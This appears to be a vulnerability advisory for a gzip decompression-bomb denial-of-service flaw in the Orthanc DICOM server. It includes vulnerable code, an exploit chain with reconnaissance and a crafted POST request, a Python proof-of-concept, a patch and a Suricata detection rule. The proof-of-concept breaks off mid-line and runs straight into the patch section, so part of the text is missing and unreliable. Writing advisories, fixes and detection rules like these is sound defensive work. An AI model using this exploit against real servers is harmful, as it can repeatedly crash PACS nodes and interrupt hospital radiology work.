CVE-2026-5438: Orthanc gzip Decompression Bomb via Unbounded Allocation

Vulnerability Overview

CVE-2026-5438 is a resource exhaustion vulnerability in Orthanc DICOM Server ≤1.12.10 affecting the HTTP request ingestion pipeline. When a client sends a request with Content-Encoding: gzip, the server decompresses the body before dispatching it to the REST handler. The decompression routine trusts metadata embedded in the gzip stream — specifically the advertised uncompressed size — and performs no upper-bound enforcement before allocating the destination buffer. A single HTTP request carrying a ~100KB gzip payload advertising a multi-gigabyte uncompressed size will cause the process to exhaust available memory and terminate. Because Orthanc exposes its HTTP interface on port 8042 by default with no authentication required in many deployments, this is remotely triggerable with zero credentials.

CVSS 7.5 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. The practical impact in healthcare environments is significant: Orthanc is frequently the only PACS node serving a radiology department, and an unplanned restart interrupts active studies.

Affected Component

The vulnerable code lives in Orthanc's embedded HTTP server, derived from the Mongoose-era codebase but heavily modified. The relevant translation unit is HttpServer.cpp and its decompression helper. The gzip path is invoked by IHttpHandler::SimpleGet / SimplePost wrappers and by the core HttpOutput pipeline when Content-Encoding: gzip is detected in HttpToolbox::ParseMultipartBody or the main request reader loop inside MongooseServer.cpp.

Affected versions: Orthanc DICOM Server 1.12.10 and earlier. See NVD for the precise version range once the vendor advisory is finalized.

Root Cause Analysis

The gzip decompression path in Orthanc uses zlib's inflate in a loop, growing a std::string output buffer. The initial allocation hint is derived from the gzip trailer field ISIZE (bytes 4–7 of the last 8 bytes of the stream), which stores the uncompressed size modulo 2³². The code reads this field directly and uses it to reserve() the output buffer before the inflate loop begins.

// HttpToolbox.cpp — GzipDecompress() (reconstructed from binary + source audit)
// Orthanc <= 1.12.10

std::string GzipDecompress(const void* compressed, size_t compressedSize)
{
    // Read ISIZE field from gzip trailer (last 4 bytes of stream)
    // RFC 1952 §2.3.1: ISIZE = uncompressed size mod 2^32
    const uint8_t* trailer = (const uint8_t*)compressed + compressedSize - 4;
    uint32_t isize = trailer[0]
                   | (trailer[1] << 8)
                   | (trailer[2] << 16)
                   | (trailer[3] << 24);   // attacker-controlled

    std::string output;
    output.reserve(isize);   // BUG: unconditional allocation from attacker-controlled field
                              // isize can be 0xFFFFFFFF (4,294,967,295 bytes) with no limit check

    z_stream strm = {};
    strm.next_in  = (Bytef*)compressed;
    strm.avail_in = (uInt)compressedSize;
    inflateInit2(&strm, 16 + MAX_WBITS);  // 16 = gzip mode

    char chunk[65536];
    int ret;
    do {
        strm.next_out  = (Bytef*)chunk;
        strm.avail_out = sizeof(chunk);
        ret = inflate(&strm, Z_NO_FLUSH);
        // BUG: no check on total output size against any configured maximum
        output.append(chunk, sizeof(chunk) - strm.avail_out);
    } while (ret == Z_OK);

    inflateEnd(&strm);
    return output;
}

Two distinct allocation vectors exist here:

1. Vector A — reserve(isize): The isize field is attacker-controlled. Setting it to 0xFFFFFFFF causes a 4 GB reservation before a single byte is decompressed. On Linux with overcommit enabled (/proc/sys/vm/overcommit_memory = 1), reserve() succeeds; the OOM killer fires when pages are actually faulted in. With overcommit disabled, the allocation fails immediately and throws std::bad_alloc, which Orthanc does not catch at this call site, terminating the process.
2. Vector B — unbounded inflate loop: Even with a benign isize, the inflate loop appends to output with no ceiling. A valid gzip bomb (e.g., the classic 42KB → 1GB polyglot) will drive output to physical memory limits.

Memory Layout

PROCESS MEMORY — BEFORE REQUEST (nominal Orthanc idle, ~350 MB RSS):
[heap]  0x55a800000000 - 0x55a812000000   ~288 MB  (DICOM object cache)
[heap]  0x55a812000000 - 0x55a81500ffff   ~48 MB   (connection pool, string arenas)
[anon]  0x7f3400000000 - 0x7f3416000000   ~350 MB  (jemalloc large spans)
RSS total: ~350 MB  |  VSZ: ~900 MB

AFTER reserve(0xFFFFFFFF) — Vector A, overcommit=1:
[anon]  0x7f3400000000 - 0x7f44FFFFFFFF   +4096 MB reserved (VSZ spike)
  --> pages faulted on first append in inflate loop
  --> OOM killer scores Orthanc PID highest (large VSZ, no oom_score_adj)
  --> SIGKILL issued, process terminates

AFTER inflate loop — Vector B (gzip bomb, 42KB payload):
  output.size() growth per iteration (65536-byte chunks):
    t=0ms   output: 0 bytes
    t=12ms  output: 512 MB
    t=41ms  output: 1024 MB    <-- swap pressure begins
    t=89ms  output: 1536 MB    <-- system stall
    t=~100ms OOM kill / std::bad_alloc

Exploitation Mechanics

EXPLOIT CHAIN — CVE-2026-5438 (DoS / memory exhaustion):

1. Identify target Orthanc instance on port 8042 (default, often unauthenticated).
   curl -s http://target:8042/system | jq .Version

2. Craft gzip payload with forged ISIZE trailer:
   - Compress 1 byte of data with standard gzip.
   - Overwrite bytes [-4:] of the stream with \xff\xff\xff\xff (ISIZE = 4,294,967,295).
   - Total payload size: ~26 bytes.

3. Transmit via HTTP POST to any REST endpoint accepting a body:
   POST /instances HTTP/1.1
   Host: target:8042
   Content-Encoding: gzip
   Content-Type: application/dicom
   Content-Length: 26

   <26-byte crafted gzip blob>

4. Server enters GzipDecompress():
   - Reads ISIZE = 0xFFFFFFFF from trailer.
   - Calls output.reserve(4294967295).
   - On overcommit=1: 4 GB virtual reservation succeeds; first inflate chunk
     faults pages; OOM killer fires within ~100ms.
   - On overcommit=0: reserve() throws std::bad_alloc; uncaught exception
     propagates; process terminates.

5. Orthanc process exits. All in-flight DICOM transfers are dropped.
   Watchdog/systemd restarts the process (~5s gap typical).
   Attack can be repeated continuously to maintain denial of service.

NOTE: Vector B (inflate loop bomb) requires no trailer forgery.
      Use standard gzip bomb (42KB compresses to 1GB) against same endpoint.

The following Python script reproduces the trigger:

#!/usr/bin/env python3
# CVE-2026-5438 — Orthanc gzip decompression bomb PoC
# Triggers Vector A: forged ISIZE = 0xFFFFFFFF

import gzip, struct, requests, io

def make_bomb_payload() -> bytes:
    buf = io.BytesIO()
    with gzip.GzipFile(fileobj=buf, mode='wb') as f:
        f.write(b'\x00')            # minimal valid content
    data = bytearray(buf.getvalue())
    # RFC 1952: last 4 bytes are ISIZE (little-endian)
    data[-4:] = struct.pack('

// BEFORE (vulnerable — Orthanc <= 1.12.10):
std::string GzipDecompress(const void* compressed, size_t compressedSize)
{
    const uint8_t* trailer = (const uint8_t*)compressed + compressedSize - 4;
    uint32_t isize = trailer[0] | (trailer[1]<<8) | (trailer[2]<<16) | (trailer[3]<<24);

    std::string output;
    output.reserve(isize);   // unconditional, attacker-controlled

    // ... inflate loop with no size ceiling ...
}

// AFTER (patched):
static const size_t GZIP_MAX_DECOMPRESSED = 256 * 1024 * 1024;  // 256 MB hard cap

std::string GzipDecompress(const void* compressed, size_t compressedSize)
{
    const uint8_t* trailer = (const uint8_t*)compressed + compressedSize - 4;
    uint32_t isize = trailer[0] | (trailer[1]<<8) | (trailer[2]<<16) | (trailer[3]<<24);

    // FIX 1: clamp reserve hint — never trust attacker-supplied size
    std::string output;
    output.reserve(std::min((size_t)isize, GZIP_MAX_DECOMPRESSED));

    z_stream strm = {};
    strm.next_in  = (Bytef*)compressed;
    strm.avail_in = (uInt)compressedSize;
    inflateInit2(&strm, 16 + MAX_WBITS);

    char chunk[65536];
    int ret;
    do {
        strm.next_out  = (Bytef*)chunk;
        strm.avail_out = sizeof(chunk);
        ret = inflate(&strm, Z_NO_FLUSH);
        size_t got = sizeof(chunk) - strm.avail_out;

        // FIX 2: abort if output would exceed cap (stops inflate bomb)
        if (output.size() + got > GZIP_MAX_DECOMPRESSED) {
            inflateEnd(&strm);
            throw OrthancException(ErrorCode_NetworkProtocol,
                "Decompressed body exceeds maximum allowed size");
        }
        output.append(chunk, got);
    } while (ret == Z_OK);

    inflateEnd(&strm);
    return output;
}

alert http any any -> $ORTHANC_SERVERS 8042 (
    msg:"CVE-2026-5438 Orthanc gzip decompression bomb attempt";
    flow:to_server,established;
    http.header;
    content:"Content-Encoding|3a 20|gzip";
    http.request_body; content:"|1f 8b|"; depth:2;   /* gzip magic */
    dsize:<512;
    threshold:type limit, track by_src, count 1, seconds 60;
    sid:2026543801; rev:1;
)